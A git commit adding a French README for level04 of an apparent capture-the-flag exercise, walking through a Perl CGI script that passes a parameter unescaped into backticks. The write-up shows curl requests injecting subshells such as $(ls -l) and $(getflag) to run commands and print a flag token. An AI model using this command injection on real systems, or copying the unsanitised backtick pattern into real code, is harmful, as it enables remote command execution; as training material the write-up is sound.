docs(lvl04): adding the readme

This commit is contained in:
Raphael 2026-01-27 13:51:55 +01:00
parent ab753dc9a5
commit 0c68747084
No known key found for this signature in database

35
level04/README.md Normal file
View file

@ -0,0 +1,35 @@
Lors de l'arriver sur le level04 je remarque le fichier level04.pl
Ce script est en perl et se presente sous la forme
```perl
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
print "Content-type: text/html\n\n";
sub x {
$y = $_[0];
print `echo $y 2>&1`;
}
```
Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements
```bash
curl -d x="Common will just echo" http://127.0.0.1:4747
Common will just echo
```
Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell
```bash
curl -d x="\$(ls -l)" http://127.0.0.1:4747
total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl
```
Nous pouvons donc executer les commandes donc testons avec getflag
```bash
curl -d x="\$(getflag)" http://127.0.0.1:4747
Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap
```